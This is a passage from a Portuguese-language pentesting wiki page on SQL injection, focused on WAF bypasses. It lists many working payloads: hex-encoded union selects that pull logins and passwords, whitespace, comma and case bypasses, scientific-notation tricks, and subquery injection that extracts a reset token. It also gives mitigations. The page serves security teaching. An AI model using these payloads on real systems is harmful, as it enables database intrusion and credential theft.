Exemplo:
|
||
```
|
||
#Hex of: -1' union select login,password from users-- a
|
||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||
```
|
||
## WAF Bypass
|
||
|
||
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||
|
||
### No spaces bypass
|
||
|
||
No Space (%20) - bypass usando alternativas de espaço em branco
|
||
```sql
|
||
?id=1%09and%091=1%09--
|
||
?id=1%0Dand%0D1=1%0D--
|
||
?id=1%0Cand%0C1=1%0C--
|
||
?id=1%0Band%0B1=1%0B--
|
||
?id=1%0Aand%0A1=1%0A--
|
||
?id=1%A0and%A01=1%A0--
|
||
```
|
||
No Whitespace - bypass usando comentários
|
||
```sql
|
||
?id=1/*comment*/and/**/1=1/**/--
|
||
```
|
||
No Whitespace - bypass usando parênteses
|
||
```sql
|
||
?id=(1)and(1)=(1)--
|
||
```
|
||
### No commas bypass
|
||
|
||
No Comma - bypass usando OFFSET, FROM e JOIN
|
||
```
|
||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||
```
|
||
### Bypasses Genéricos
|
||
|
||
Blacklist usando palavras-chave - bypass usando maiúsculas/minúsculas
|
||
```sql
|
||
?id=1 AND 1=1#
|
||
?id=1 AnD 1=1#
|
||
?id=1 aNd 1=1#
|
||
```
|
||
Blacklist usando keywords case insensitive - bypass usando um operador equivalente
|
||
```
|
||
AND -> && -> %26%26
|
||
OR -> || -> %7C%7C
|
||
= -> LIKE,REGEXP,RLIKE, not < and not >
|
||
> X -> not between 0 and X
|
||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||
```
|
||
### Scientific Notation WAF bypass
|
||
|
||
Você pode encontrar uma explicação mais aprofundada deste truque no [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||
Basicamente, você pode usar a notação científica de maneiras inesperadas para contornar o WAF:
|
||
```
|
||
-1' or 1.e(1) or '1'='1
|
||
-1' or 1337.1337e1 or '1'='1
|
||
' or 1.e('')=
|
||
```
|
||
### Contornar a Restrição de Nomes de Colunas
|
||
|
||
Primeiro, observe que se a **consulta original e a tabela da qual você quer extrair a flag tiverem a mesma quantidade de colunas** você pode simplesmente fazer: `0 UNION SELECT * FROM flag`
|
||
|
||
É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em um sqlinjection isto ficaria assim:
|
||
```bash
|
||
# This is an example with 3 columns that will extract the column number 3
|
||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||
```
|
||
Ou usando um **comma bypass**:
|
||
```bash
|
||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||
```
|
||
Este truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||
|
||
### Column/tablename injection in SELECT list via subqueries
|
||
|
||
Se a entrada do usuário é concatenada na lista SELECT ou em identificadores de tabela/coluna, prepared statements não ajudam porque bind parameters protegem apenas values, não identifiers. Um padrão vulnerável comum é:
|
||
```php
|
||
// Pseudocode
|
||
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
|
||
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
|
||
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
|
||
$stmt = $db->pquery($q, [$rec_id]);
|
||
```
|
||
Ideia de exploração: inject a subquery into the field position to exfiltrate arbitrary data:
|
||
```sql
|
||
-- Legit
|
||
SELECT user_name FROM vte_users WHERE id=1;
|
||
|
||
-- Injected subquery to extract a sensitive value (e.g., password reset token)
|
||
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
|
||
```
|
||
Notas:
|
||
- Isso funciona mesmo quando a WHERE clause usa um bound parameter, porque a lista de identificadores ainda é concatenada como string.
|
||
- Algumas stacks também permitem controlar o nome da tabela (tablename injection), possibilitando leituras cross-table.
|
||
- Pontos de saída podem refletir o valor selecionado em HTML/JSON, permitindo XSS ou token exfiltration diretamente na resposta.
|
||
|
||
Mitigações:
|
||
- Nunca concatene identificadores vindos da entrada do usuário. Mapeie nomes de coluna permitidos para uma allow-list fixa e faça a citação adequada dos identificadores.
|
||
- Se acesso dinâmico a tabelas for necessário, restrinja a um conjunto finito e resolva no servidor a partir de um mapeamento seguro.
|
||
|
||
### WAF bypass suggester tools
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/m4ll0k/Atlas
|
||
{{#endref}}
|
||
|
||
## Outros Guias
|
||
|
||
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
## Lista de Detecção de Brute-Force
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||
{{#endref}}
|
||
|
||
## Referências
|
||
|
||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|